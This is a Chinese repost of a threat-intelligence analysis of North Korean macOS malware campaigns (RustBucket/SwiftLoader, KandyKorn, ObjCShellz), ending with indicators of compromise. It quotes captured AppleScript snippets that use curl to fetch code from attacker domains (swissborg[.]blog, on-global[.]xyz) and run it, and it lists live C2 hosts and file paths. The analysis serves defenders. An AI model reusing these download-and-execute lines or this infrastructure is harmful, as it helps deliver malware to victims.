针对 macOS 的与朝鲜结盟的威胁行为者在 2023 年度过了忙碌的一年,迄今为止发生了两项主要活动:RustBucket 和 KandyKorn。最初的RustBucket活动使用了名为“SwiftLoader”的第二阶段恶意软件,该恶意软件在外部充当 PDF 查看器,用于发送到目标的诱饵文档。当受害者看到诱饵时,SwiftLoader 检索并执行了用 Rust 编写的进一步阶段的恶意软件。与此同时,KandyKorn 活动是针对加密货币交易平台的区块链工程师的精心设计的多阶段操作。Python 脚本被用来删除劫持主机安装的 Discord 应用程序的恶意软件,并随后交付了一个用 C++ 编写的名为“KandyKorn”的后门 RAT。
我们对这些活动的进一步活动的分析表明,朝鲜威胁行为者现在正在“混合和匹配”这些行动中的组件,并使用 SwiftLoader 投放程序来传递 KandyKorn 有效负载。在这篇文章中,我们对此活动进行了广泛的审查,并提供了进一步的指标来帮助安全团队保卫其组织。
KandyKorn 概述
Elastic于 2023 年 11 月上旬发表的研究描述了与朝鲜结盟的威胁行为者进行的复杂入侵。此次妥协涉及五阶段攻击,首先通过 Discord 进行社会工程,诱骗目标下载伪装成加密货币套利机器人(加密货币交易者中流行的工具)的恶意 Python 应用程序。Python 应用程序作为Cross-Platform Bridges.zip多个良性 Python 脚本进行分发并包含这些脚本。我们将之前对 KandyKorn 的研究总结如下:
KandyKorn 行动概述
阶段0
Discord 用户通过社交工程下载了恶意 Python 应用程序Cross-Platform Bridges.zip. 最初,恶意软件的链接通过直接消息发送到目标,该恶意软件托管在 Google 云端硬盘上。
https[:] //drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2
应用程序的Main.py
脚本将包含的Watcher.py
文件作为模块导入。
第一阶段
Watcher.py
检查本地Python版本并下载并执行testSpeed.py
。该脚本下载并执行另一个 Python 脚本FinderTools
. 前者执行后被删除,后者被写入/Users/Shared/FinderTools
。
第二阶段
FinderTools
下载并执行一个名为 SUGARLOADER 的 Mach-O 二进制文件,位于/Users/Shared/.sld
. 同一个文件也被复制两次 as.log
和 as appname
,两者都在 Discord 应用程序的层次结构中/Applications/Discord.app/Contents/MacOS/
。
SUGARLOADER 用 C++ 编写,检查配置文件是否存在,/Library/Caches/com.apple.safari.ck
如果丢失则从远程 C2 下载。C2 地址被硬编码到FinderTools
脚本中,并作为执行参数传递给命令行上的 SUGARLOADER 二进制文件。
在 Elastic 发现的入侵中,所使用的 C2FinderTools
托管在域 上tp.globa.xyz
。
tp-globa.xyz/OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC
第三阶段
SUGARLOADER 还下载一个名为 HLOADER 的 Mach-O 有效负载并将其写入/Applications/Discord.app/Contents/MacOS/Discord
. 正版 Discord 可执行文件已重命名为.lock
在同一目录中。
HLOADER
进行此替换后,当启动 Discord 时,HLOADER 将自身重命名为MacOS.tmp
,将.lock
文件重命名回Discord
,并执行真正的Discord
二进制文件和另存为 的 SUGARLOADER 可执行文件.log
。这会导致整个重命名/重新加载过程重复。
假设受害者很可能频繁启动Discord,HLOADER的目的是提供一种持久化机制,不会被Apple对后台登录项的监控检测到。
第四阶段
SUGARLOADER 从先前存储在 的配置文件中检索 C2 URL com.apple.safari.ck
。在观察到的入侵中,这是23.254.226[.]90
通过 TCP 端口 44 进行通信。
NSCreateObjectFileImageFromMemory
SUGARLOADER 使用它通过和检索并执行内存中的 KANDYKORN 远程访问木马NSLinkModule
。这种技术之前曾在朝鲜 macOS 恶意软件中使用过,最早是在 2019 年的UnionCryptoTrader中。
基于 Elastic 的研究,我们确定了 KANDYKORN RAT 的许多其他版本,具有以下 SHA1:
SHA1 第一次看到
62267b88fa6393bc1f1eeb778e4da6b564b7011e 2023 年 4 月
8f6c52d7e82fbfdead3d66ad8c52b372cc9e8b18 2023 年 4 月
ac336c5082c2606ab8c3fb023949dfc0db2064d5 2023 年 4 月
26ec4630b4d1116e131c8e2002e9a3ec7494a5cf 2023 年 8 月
46ac6dc34fc164525e6f7886c8ed5a79654f3fd3 2023 年 8 月
8d5d214c490eae8f61325839fcc17277e514301e 2023 年 8 月
9f97edbc1454ef66d6095f979502d17067215a9d 2023 年 8 月
c45f514a252632cb3851fe45bed34b175370d594 2023 年 8 月
ce3705baf097cd95f8f696f330372dd00996d29a 2023 年 8 月
e244ff1d8e66558a443610200476f98f653b8519 2023 年 8 月
e77270ac0ea05496dd5a2fbccba3e24eb9b863d9 2023 年 8 月
e68bfa72a4b4289a4cc688e81f9282b1f78ebc1f 2023 年 11 月
其中有趣的是26ec4630b4d1116e131c8e2002e9a3ec7494a5cf
,它被写入/Users/Shared/.pld
,我们将在下面回到这一点。
最近的 RustBucket 活动
乍一看似乎是一场完全不同的活动,朝鲜威胁行为者正在进行一场持续不断且不断演变的活动,该活动首先由 JAMF 披露,称为RustBucket。该活动最初涉及第一阶段的AppleScript小程序和名为“Internal PDF Viewer.app”的基于 Swift 的应用程序包,该应用程序包使用特制的 PDF 来解锁用于下载基于 Rust 的有效负载的代码。
此后,人们发现了许多RustBucket 变体。此外,基于 Swift 的 stager 的几种变体(统称为 SwiftLoader)在过去几个月中已经曝光。
虽然其中一些继续以“InternalPDF Viewer”的名称分发,但研究人员在 6 月份发现了一个名为SecurePDF Viewer.app
. 该应用程序由名为“BBQ BAZAAR PRIVATE LIMITED (7L2UQTVP6F)”的开发人员由 Apple 签署并公证(现已撤销)。SecurePDF Viewer.app
至少需要 macOS 12.6 (Monterey),并且具有捆绑包标识符com.softwaredev.swift-ui-test
。它能够在英特尔和苹果芯片设备上运行。
主要可执行文件用于curl
访问docs-send.online/getBalance/usdt/ethereum
. 这将检索一个名为/gatewindow/1027/shared/ (c806c7006950dea6c20d3d2800fe46d9350266b6)
AppleScript 脚本的文件,该脚本在执行时会将执行进程的文件路径发布到托管于 的远程服务器上swissborg.blog
。
set sdf to (POSIX path of (path to me))
set aaas to do shell script "curl -H "Content-Type:application/json" -d '{"zip":""
""}' https[:]//swissborg[.]blog/tx/10299301992/hash"
--display dialog aaas
run script aaas
--display dialog "Can 't open this file. The file maybe damaged."
连接到 ObjCShellz
JAMF 之前在11 月初的一篇文章swissborg.blog
中提到过所联系的域名。SecurePDF Viewer
JAMF 研究人员描述了在他们看来的后期 RustBucket 有效负载,以名为 的 Mach-O 二进制文件形式分发ProcessRequest
。研究人员将恶意软件命名为 ObjCShellz,因为该代码是用 Objective-C 编写的,并且可以通过调用函数从远程 C2 执行简单的 shellsystem()
命令sh -c
。
我们的研究表明 ObjCShellz 很可能是 SwiftLoader 的后期阶段SecurePDF Viewer.app
。
SwiftLoader 连接到 KandyKorn RAT
SwiftLoader 的其他版本已在野外被发现,其中一个分布在名为Crypto-assets and their risks for financial stability[.]app[.]zip
.
该申请还由苹果公司(现已撤销)由名为“Northwest Tech-Con Systems Ltd (2C4CB2P247)”的开发人员签署和公证。包标识符是com.EdoneViewer
,应用程序的主要可执行文件是EdoneViewer
。
此版本的 SwiftLoader 和 KandyKorn 操作之间有一些有趣的重叠。
我们的分析EdoneViewer
显示它包含一个用单字节 XOR 密钥编码的硬编码 URL Ox40
。
解码后,我们可以看到恶意软件到达域on-global.xyz并在 处释放隐藏的可执行文件/Users/Shared/.pw。
D%3D", "http[:]//on-global[.]xyz/Of56cYsfVV8/OJITWH2WFx/Jy5S7hSx0K/fP7saoiPBc/A%3D%3D",
"/users/shared/Crypto-assets and their risks for financial stability.pdf", "/users/shared/.pw"}
do shell script "curl -o "" & p & "" " & d & a & "&& open "" & p & """ & "&&
curl -o " & b & " " & s & a & " -d pw" & "&& chmod 770 " & b & "&&
/bin/zsh -c "" & b & " " & s & " &" &> /dev/null"
我们注意到,KandyKorn Python 脚本FinderTools
已进入其下一阶段,攻击域中托管的恶意软件tp.globa.xyz
,并且 SUGARLOADER 在/Users/Shared/.sld
.
该.pw
可执行文件以download.bin
VirusTotal ( 060a5d189ccf3fc32a758f1e218f814f6ce81744
) 命名,将二进制文件中硬编码的 URLEdoneViewer
作为启动参数。不幸的是,在我们的测试中,C2 没有响应下载,但该文件包含对/Users/Shared/.pld
.
回想一下,我们发现了一个与.pld
上面文件名相同的 KANDYKORN RAT 变体 (26ec4630b4d1116e131c8e2002e9a3ec7494a5cf)。鉴于此处和前面提到的研究人员指出的基础设施、目标和 TTP 的重叠,我们/Users/Shared/.pld
对同一KandyKorn RAT 进行了中等置信度的评估。.pld
结论
我们的分析在之前的研究结果之间建立了新的联系。我们注意到特定的共享基础设施表明 ObjCShellz 有效负载和 SwiftLoader stager 之间的链接。我们还提供了第一条线索,表明 RustBucket 植入程序和 KandyKorn 有效负载可能作为同一感染链的一部分进行共享。
我们的分析证实了其他研究人员的发现,即与朝鲜有关的威胁行为者倾向于重复使用共享基础设施,这使我们有机会扩大对他们活动的了解并发现新的妥协指标。下面我们提供了我们在本研究中观察和分析的指标列表。
IOC
SUGARLOADER
d28830d87fc71091f003818ef08ff0b723b3f358
HLOADER
43f987c15ae67b1183c4c442dc3b784faf2df090
KANDYKORN RAT
26ec4630b4d1116e131c8e2002e9a3ec7494a5cf
46ac6dc34fc164525e6f7886c8ed5a79654f3fd3
62267b88fa6393bc1f1eeb778e4da6b564b7011e
8d5d214c490eae8f61325839fcc17277e514301e
8f6c52d7e82fbfdead3d66ad8c52b372cc9e8b18
9f97edbc1454ef66d6095f979502d17067215a9d
ac336c5082c2606ab8c3fb023949dfc0db2064d5
c45f514a252632cb3851fe45bed34b175370d594
ce3705baf097cd95f8f696f330372dd00996d29a
e244ff1d8e66558a443610200476f98f653b8519
e68bfa72a4b4289a4cc688e81f9282b1f78ebc1f
e77270ac0ea05496dd5a2fbccba3e24eb9b863d9
ObjCShell
79337ccda23c67f8cfd9f43a6d3cf05fd01d1588
SecurePDF 查看器
a1a8a855f64a6b530f5116a3785a693d78ec09c0
e275deb68cdff336cb4175819a09dbaf0e1b68f6
Crypto-assets and their risks for financial stability.app
09ade0cb777f4a4e0682309a4bc1d0f7d4d7a036
5c93052713f317431bf232a2894658a3a4ebfad9
884cebf1ad0e65f4da60c04bc31f62f796f90d79
be903ded39cbc8332cefd9ebbe7a66d95e9d6522
Downloader
060a5d189ccf3fc32a758f1e218f814f6ce81744
远程托管 AppleScript
3c887ece654ea46b1778d3c7a8a6a7c7c7cfa61c
c806c7006950dea6c20d3d2800fe46d9350266b6
网络通讯
http[:]//docs-send.online/getBalance/usdt/ethereum
https[:]//drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2
http[:]//on-global[.]xyz/Of56cYsfVV8/OJITWH2WFx/Jy5S7hSx0K/fP7saoiPBc/A%3D%3D
http[:]//tp-globa[.]xyz/OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC
http[:]//swissborg[.]blog/zxcv/bnm
23.254.226[.]90
104.168.214[.]151
142.11.209[.]144
192.119.64[.]43
文件路径
/Applications/Discord.app/Contents/MacOS/.log
/Applications/Discord.app/Contents/MacOS/appname
/Library/Caches/com.apple.safari.ck
/tmp/tempXXXXXX
/Users/Shared/.pld
/Users/Shared/.pw
/Users/Shared/.sld
转载来源:https://www.sentinelone.com/blog/dprk-crypto-theft-macos-rustbucket-droppers-pivot-to-deliver-kandykorn-payloads/
图片来源网络目标可联系删除